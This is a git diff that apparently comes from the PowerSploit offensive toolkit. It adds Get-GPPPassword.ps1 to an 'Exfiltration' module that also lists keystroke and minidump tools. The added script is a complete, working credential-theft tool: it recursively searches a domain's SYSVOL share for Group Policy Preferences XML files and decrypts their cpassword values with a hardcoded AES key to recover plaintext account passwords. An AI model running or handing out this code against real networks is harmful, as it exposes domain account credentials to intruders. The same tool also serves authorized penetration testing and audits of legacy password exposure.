diff options
Diffstat (limited to 'Exfiltration')
| -rw-r--r-- | Exfiltration/Exfiltration.psd1 | 2 | ||||
| -rw-r--r-- | Exfiltration/Get-GPPPassword.ps1 | 126 | 
2 files changed, 127 insertions, 1 deletions
| diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 1d0e69d..ef3daec 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =  # List of all files packaged with this module
  FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
 -           'Get-Keystrokes.ps1', 'Usage.md'
 +           'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
  # Private data to pass to the module specified in RootModule/ModuleToProcess
  # PrivateData = ''
 diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 new file mode 100644 index 0000000..6a9c192 --- /dev/null +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -0,0 +1,126 @@ +function Get-GPPPassword { +<# +.SYNOPSIS + +    Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + +    PowerSploit Function: Get-GPPPassword +    Author: Chris Campbell (@obscuresec) +    License: BSD 3-Clause +    Required Dependencies: None +    Optional Dependencies: None +  +.DESCRIPTION + +    Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. + +.EXAMPLE + +    Get-GPPPassword + +.LINK +     +    http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +    https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +    http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +    http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +#> +     +    [CmdletBinding()] +    Param () +     +    #define helper function that decodes and decrypts password +    function Get-DecryptedCpassword { +        Param ( +            [string] $Cpassword  +        ) + +        try { +            #Append appropriate padding based on string length   +            $Mod = ($Cpassword.length % 4) +            if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))} + +            $Base64Decoded = [Convert]::FromBase64String($Cpassword) +             +            #Create a new AES .NET Crypto Object +            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider +            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, +                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) +             +            #Set IV to all nulls to prevent dynamic generation of IV value +            $AesIV = New-Object Byte[]($AesObject.IV.Length)  +            $AesObject.IV = $AesIV +            $AesObject.Key = $AesKey +            $DecryptorObject = $AesObject.CreateDecryptor()  +            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) +             +            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) +        }  +         +        catch {Write-Error "$Error[0]"} +    }   +     +    #discover potential files containing passwords +    $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' +     +    foreach ($File in $XMLFiles) { +         +        try { +            $Filename = $File.Name +            $Filepath = $File.VersionInfo.FileName + +            #put filename in $XmlFile +            [xml] $Xml = Get-Content ($File) + +            #declare blank variables +            $Cpassword = '' +            $UserName = '' +            $NewName = '' +            $Changed = '' +     +            switch ($Filename) { + +                'Groups.xml' { +                    $Cpassword = $Xml.Groups.User.Properties.cpassword +                    $UserName = $Xml.Groups.User.Properties.userName +                    $NewName = $Xml.Groups.User.Properties.newName +                    $Changed = $Xml.Groups.User.changed +                } +         +                'Services.xml' { +                    $Cpassword = $Xml.NTServices.NTService.Properties.cpassword +                    $UserName = $Xml.NTServices.NTService.Properties.accountName +                    $Changed = $Xml.NTServices.NTService.changed +                } +         +                'Scheduledtasks.xml' { +                    $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword +                    $UserName = $Xml.ScheduledTasks.Task.Properties.runAs +                    $Changed = $Xml.ScheduledTasks.Task.changed +                } +         +                'DataSources.xml' { +                    $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword +                    $UserName = $Xml.DataSources.DataSource.Properties.username +                    $Changed = $Xml.DataSources.DataSource.changed +                } +            } + +            if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword} + +            else {Write-Verbose "No encrypted passwords found in $Filepath"} +         +            #Create custom object to output results +            $ObjectProperties = @{'Password' = $Password; +                                  'UserName' = $UserName; +                                  'Changed' = $Changed; +                                  'NewName' = $NewName +                                  'File' = $Filepath} +                 +            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties +            Write-Output $ResultsObject +        } +         +        catch {Write-Error $Error[0]}   +    } +}
\ No newline at end of file |